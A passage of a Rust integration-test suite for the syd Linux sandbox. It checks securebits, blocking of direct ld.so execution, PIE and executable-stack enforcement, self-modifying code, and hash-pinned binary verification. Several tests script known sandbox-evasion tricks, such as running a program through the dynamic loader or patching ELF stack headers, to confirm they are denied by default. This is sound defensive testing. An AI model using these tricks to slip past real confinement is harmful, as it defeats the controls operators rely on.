    assert_status_ok!(status);

    Ok(())
}

fn test_syd_restrict_exec_interactive_unsafe() -> TestResult {
    // SECBIT_EXEC_DENY_INTERACTIVE is Linux>=6.14.
    skip_unless_linux!(6, 14);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_interactive:1")
        .argv([&*SYD_SEC])
        .arg("-iI")
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_0_securebits_noroot() -> TestResult {
    skip_unless_cap!("setpcap");

    let status = syd()
        .p("off")
        .argv([&*SYD_SEC])
        .arg("-rR")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_0_securebits_no_setuid_fixup() -> TestResult {
    skip_unless_cap!("setpcap");

    let status = syd()
        .p("off")
        .argv([&*SYD_SEC])
        .arg("-sS")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_0_securebits_keep_caps() -> TestResult {
    skip_unless_cap!("setpcap");

    let status = syd()
        .p("off")
        .argv([&*SYD_SEC])
        .arg("-K") // -k cleared on exec!
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_0_securebits_no_cap_ambient_raise() -> TestResult {
    skip_unless_cap!("setpcap");

    let status = syd()
        .p("off")
        .argv([&*SYD_SEC])
        .arg("-aA")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_userns_securebits_noroot() -> TestResult {
    skip_unless_unshare!("user");

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .argv([&*SYD_SEC])
        .arg("-rR")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_userns_securebits_no_setuid_fixup() -> TestResult {
    skip_unless_unshare!("user");

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .argv([&*SYD_SEC])
        .arg("-sS")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_userns_securebits_keep_caps() -> TestResult {
    skip_unless_unshare!("user");

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .argv([&*SYD_SEC])
        .arg("-K") // -k cleared on exec!
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_userns_securebits_no_cap_ambient_raise() -> TestResult {
    skip_unless_unshare!("user");

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .argv([&*SYD_SEC])
        .arg("-aA")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_prevent_ld_linux_exec_break_default() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash", "true");

    // Shared library execution is denied by default.
    let syd_elf = &SYD_ELF.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["bash", "-c"])
        .arg(format!(
            r##"
# Find ld.so that matches /bin/true's ELF class.
if [ -x /bin/true ]; then
    BIN=/bin/true
elif [ -x /usr/bin/true ]; then
    BIN=/usr/bin/true
else
    echo >&2 "no true executable found"
    exit 127
fi

if {syd_elf} -3 "$BIN"; then
    BIN_ARCH=32
elif {syd_elf} -6 "$BIN"; then
    BIN_ARCH=64
else
    echo >&2 "cannot determine ELF class of $BIN"
    exit 127
fi

# Search typical library dirs; ignore errors about missing dirs.
find /lib /lib64 /lib32 /usr/lib /usr/lib64 /usr/lib32 \
    -maxdepth 3 -type f -name 'ld*.so*' -executable -print0 2>/dev/null > ld.lst

while IFS= read -r -d '' ldso; do
    if {syd_elf} -3 "$ldso"; then
        LD_ARCH=32
    elif {syd_elf} -6 "$ldso"; then
        LD_ARCH=64
    else
        continue
    fi
    [ "$BIN_ARCH" = "$LD_ARCH" ] || continue
    set -x
    exec "$ldso" "$BIN"
    exit 127
done < ld.lst

echo >&2 "ld.so not found"
exit 127
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_code!(status, 126);

    Ok(())
}

fn test_syd_prevent_ld_linux_exec_break_unsafe_exec_ldso() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash", "true");

    // Shared library execution is allowed with allow_unsafe_exec_ldso:1.
    let syd_elf = &SYD_ELF.to_string();
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_ldso:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["bash", "-c"])
        .arg(format!(
            r##"
# Find ld.so that matches /bin/true's ELF class.
if [ -x /bin/true ]; then
    BIN=/bin/true
elif [ -x /usr/bin/true ]; then
    BIN=/usr/bin/true
else
    echo >&2 "no true executable found"
    exit 127
fi

if {syd_elf} -3 "$BIN"; then
    BIN_ARCH=32
elif {syd_elf} -6 "$BIN"; then
    BIN_ARCH=64
else
    echo >&2 "cannot determine ELF class of $BIN"
    exit 127
fi

# Search typical library dirs; ignore errors about missing dirs.
find /lib /lib64 /lib32 /usr/lib /usr/lib64 /usr/lib32 \
    -maxdepth 3 -type f -name 'ld*.so*' -executable -print0 2>/dev/null > ld.lst

while IFS= read -r -d '' ldso; do
    if {syd_elf} -3 "$ldso"; then
        LD_ARCH=32
    elif {syd_elf} -6 "$ldso"; then
        LD_ARCH=64
    else
        continue
    fi
    [ "$BIN_ARCH" = "$LD_ARCH" ] || continue
    set -x
    exec "$ldso" "$BIN"
    exit 127
done < ld.lst

echo >&2 "ld.so not found"
exit 127
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_prevent_ld_linux_exec_break_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash", "true");

    // Shared library execution is allowed with allow_unsafe_ptrace:1.
    let syd_elf = &SYD_ELF.to_string();
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["bash", "-c"])
        .arg(format!(
            r##"
# Find ld.so that matches /bin/true's ELF class.
if [ -x /bin/true ]; then
    BIN=/bin/true
elif [ -x /usr/bin/true ]; then
    BIN=/usr/bin/true
else
    echo >&2 "no true executable found"
    exit 127
fi

if {syd_elf} -3 "$BIN"; then
    BIN_ARCH=32
elif {syd_elf} -6 "$BIN"; then
    BIN_ARCH=64
else
    echo >&2 "cannot determine ELF class of $BIN"
    exit 127
fi

# Search typical library dirs; ignore errors about missing dirs.
find /lib /lib64 /lib32 /usr/lib /usr/lib64 /usr/lib32 \
    -maxdepth 3 -type f -name 'ld*.so*' -executable -print0 2>/dev/null > ld.lst

while IFS= read -r -d '' ldso; do
    if {syd_elf} -3 "$ldso"; then
        LD_ARCH=32
    elif {syd_elf} -6 "$ldso"; then
        LD_ARCH=64
    else
        continue
    fi
    [ "$BIN_ARCH" = "$LD_ARCH" ] || continue
    set -x
    exec "$ldso" "$BIN"
    exit 127
done < ld.lst

echo >&2 "ld.so not found"
exit 127
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_pie_dynamic() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -no-pie -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_exec_nopie:1
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_exec_nopie:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_pie_static() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -static -no-pie -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_exec_nopie:1
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_exec_nopie:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_execstack_dynamic() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -fPIE -pie -zexecstack -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_exec_nopie:1
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_exec_stack:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_exec_stack:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_execstack_static() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -static-pie -zexecstack -o exit
test $? -eq 0 || exit 128
# SAFETY: Integration test suite sets unsafe_exec_nopie:1
test -c /dev/syd/trace/allow_unsafe_exec_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_exec_stack:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_exec_stack:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_execstack_nested_routine() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_if_strace!();
    skip_if_32bin_64host!();
    if !check_nested_routines() {
        // Nested routines not supported.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Executable stack is disabled by default.
    let status = syd()
        .p("off")
        .args(["./nested", "0"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // The restriction may be relaxed with trace/allow_unsafe_exec_stack:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_stack:1")
        .args(["./nested", "0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_execstack_self_modifying() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_if_strace!();
    skip_if_32bin_64host!();
    if !check_self_modifying_xs() {
        // Self-modifying code not supported on this arch.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Executable stack is disabled by default.
    let status = syd()
        .p("off")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // The restriction may be relaxed with trace/allow_unsafe_exec_stack:1.
    // However this will now be stopped by the next restriction: MDWE.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_stack:1")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // MDWE may be relaxed with trace/allow_unsafe_exec_memory:1.
    // With these two knobs off, self-modifying code is free to execute.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_mprotect_self_modifying() -> TestResult {
    skip_if_mips!(); // No W^X.
    skip_if_32bin_64host!();
    if !check_self_modifying_mp() {
        // Self-modifying code not supported on this arch.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // mprotect(PROT_EXEC) is killed by default.
    let status = syd()
        .p("off")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // The restriction may be relaxed with trace/allow_unsafe_exec_memory:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_noexec_rtld_now() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    // Compile a library.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_NOW to succeed.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_now", ["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_noexec_rtld_lazy() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    // Compile a library.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_LAZY to succeed.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_lazy", ["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_now() -> TestResult {
    skip_if_32bin_64host!();
    skip_if_mips!(); // No W^X.
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_NOW and execstack to fail.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_now", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_access_denied!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_lazy() -> TestResult {
    skip_if_32bin_64host!();
    skip_if_mips!(); // No W^X.
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_LAZY and execstack to fail.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_lazy", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_access_denied!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_now_unsafe() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_NOW and execstack to succeed with unsafe_exec_stack:1
    // For gl*bc we need trace/allow_unsafe_exec_memory:1 or this will be killed at mprotect boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_now", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_lazy_unsafe() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_LAZY and execstack to succeed with unsafe_exec_stack:1
    // For gl*bc we need trace/allow_unsafe_exec_memory:1 or this will be killed at mprotect boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_memory:1")
        .m("trace/allow_unsafe_exec_stack:1")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_lazy", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_multiple_gnu_stack_1() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("cat", "cc", "python3", "readelf");

    // Compile a library with multiple PT_GNU_STACK headers.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > stub.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    if (getenv("SYD_TEST_PAUSE")) {
        pause();
    }
    exit(0);
}
EOF

# Assemble and link.
cc stub.c -o test_multi_stack

# Patch in Python (requires lief: pip install lief).
python3 << 'EOF'
import lief

# Parse the existing ELF.
elf = lief.parse("test_multi_stack")

# 1st: non-exec stack (flags = R|W).
s1 = lief.ELF.Segment()
s1.type  = lief.ELF.Segment.TYPE.GNU_STACK
s1.flags = (
    lief.ELF.Segment.FLAGS.R |
    lief.ELF.Segment.FLAGS.W
)
elf.add(s1)

# 2nd: exec stack (flags = R|W|X).
s2 = lief.ELF.Segment()
s2.type  = lief.ELF.Segment.TYPE.GNU_STACK
s2.flags = (
    lief.ELF.Segment.FLAGS.R |
    lief.ELF.Segment.FLAGS.W |
    lief.ELF.Segment.FLAGS.X
)
elf.add(s2)

# Overwrite the original binary.
elf.write("test_multi_stack")
EOF

# Verify that we now have many GNU_STACK entries.
readelf -l test_multi_stack
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code != 0 {
        eprintln!("Failed to create patched ELF!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    let syd_elf = &SYD_ELF.to_string();
    let output = Command::new(syd_elf)
        .arg("test_multi_stack")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .output()
        .expect("execute syd");
    assert_status_ok!(output.status);

    let data = String::from_utf8_lossy(&output.stdout);
    assert!(
        data.contains("xs"),
        "Executable incorrectly marked as not having execstack: {data}",
    );

    Ok(())
}

fn test_syd_enforce_execstack_multiple_gnu_stack_2() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("cat", "cc", "python3", "readelf");

    // Compile a library with multiple PT_GNU_STACK headers.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > stub.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    if (getenv("SYD_TEST_PAUSE")) {
        pause();
    }
    exit(0);
}
EOF

# Assemble and link.
cc stub.c -o test_multi_stack

# Patch in Python (requires lief: pip install lief).
python3 << 'EOF'
import lief

# Parse the existing ELF.
elf = lief.parse("test_multi_stack")

# 1st: exec stack (flags = R|W|X).
s1 = lief.ELF.Segment()
s1.type  = lief.ELF.Segment.TYPE.GNU_STACK
s1.flags = (
    lief.ELF.Segment.FLAGS.R |
    lief.ELF.Segment.FLAGS.W |
    lief.ELF.Segment.FLAGS.X
)
elf.add(s1)

# 2nd: non-exec stack (flags = R|W).
s2 = lief.ELF.Segment()
s2.type  = lief.ELF.Segment.TYPE.GNU_STACK
s2.flags = (
    lief.ELF.Segment.FLAGS.R |
    lief.ELF.Segment.FLAGS.W
)
elf.add(s2)

# Overwrite the original binary.
elf.write("test_multi_stack")
EOF

# Verify that we now have many GNU_STACK entries.
readelf -l test_multi_stack
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code != 0 {
        eprintln!("Failed to create patched ELF!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    let syd_elf = &SYD_ELF.to_string();
    let output = Command::new(syd_elf)
        .arg("test_multi_stack")
        .stdout(Stdio::piped())
        .stderr(Stdio::inherit())
        .output()
        .expect("execute syd");
    assert_status_ok!(output.status);

    let data = String::from_utf8_lossy(&output.stdout);
    assert!(
        !data.contains("xs"),
        "Executable incorrectly marked as having execstack: {data}",
    );

    Ok(())
}

fn test_syd_force_sandbox() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("true");

    let bad_crc32 = "a".repeat(8);
    let bad_crc64 = "a".repeat(16);
    let bad_md5 = "a".repeat(32);
    let bad_sha1 = "a".repeat(40);
    let bad_sha256 = "a".repeat(64);
    let bad_sha384 = "a".repeat(96);
    let bad_sha512 = "a".repeat(128);

    // Note, `which" returns canonicalized path.
    let bin_true = which("true").expect("true in PATH");

    let crc32_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Crc32,
    )
    .as_ref()
    .map(|sum| HEXLOWER.encode(sum))?;
    let crc64_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Crc64,
    )
    .as_ref()
    .map(|sum| HEXLOWER.encode(sum))?;
    let md5_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Md5,
    )
    .as_ref()
    .map(|sum| HEXLOWER.encode(sum))?;
    let sha1_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Sha1,
    )
    .as_ref()
    .map(|sum| HEXLOWER.encode(sum))?;
    let sha256_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Sha256,
    )
    .as_ref()
    .map(|sum| HEXLOWER.encode(sum))?;
    let sha384_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Sha384,
    )
    .as_ref()
    .map(|sum| HEXLOWER.encode(sum))?;
    let sha512_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).unwrap()),
        HashAlgorithm::Sha512,
    )
    .as_ref()
    .map(|sum| HEXLOWER.encode(sum))?;

    // Test 1: Force sandboxing defaults.
    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:allow")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:filter")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:deny")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:panic")
        .argv(["true"])
        .status()
        .expect("execute syd");
    //We do NOT panic the main thread.
    //assert_status_panicked!(status);
    assert_status_access_denied!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:kill")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:exit")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // Test 2: Force sandboxing allow with CRC{32,64}, MD5 & SHA1,3-{256,384,512}
    // We set default/force:warn so as not to care about dynamic libraries.
    for act in ["", ":filter", ":deny", ":panic", ":kill", ":exit"] {
        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{crc32_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{crc64_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{md5_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{sha1_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{sha256_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{sha384_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{sha512_sum}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
            .m(format!("force+{bin_true}:{bad_crc32}{act}"))
            .argv(["true"])
            .status()
            .expect("execute syd");
        match act {
            ":kill" => {
                assert_status_killed!(status);
            }
            ":panic" => {
                //We do NOT panic the main thread.
                //assert_status_panicked!(status);
                assert_status_access_denied!(status);
            }
            _ => {
                assert_status_access_denied!(status);
            }
        };

        let status = syd()
            .p("off")
            .m("sandbox/force:on")
            .m("default/force:warn")
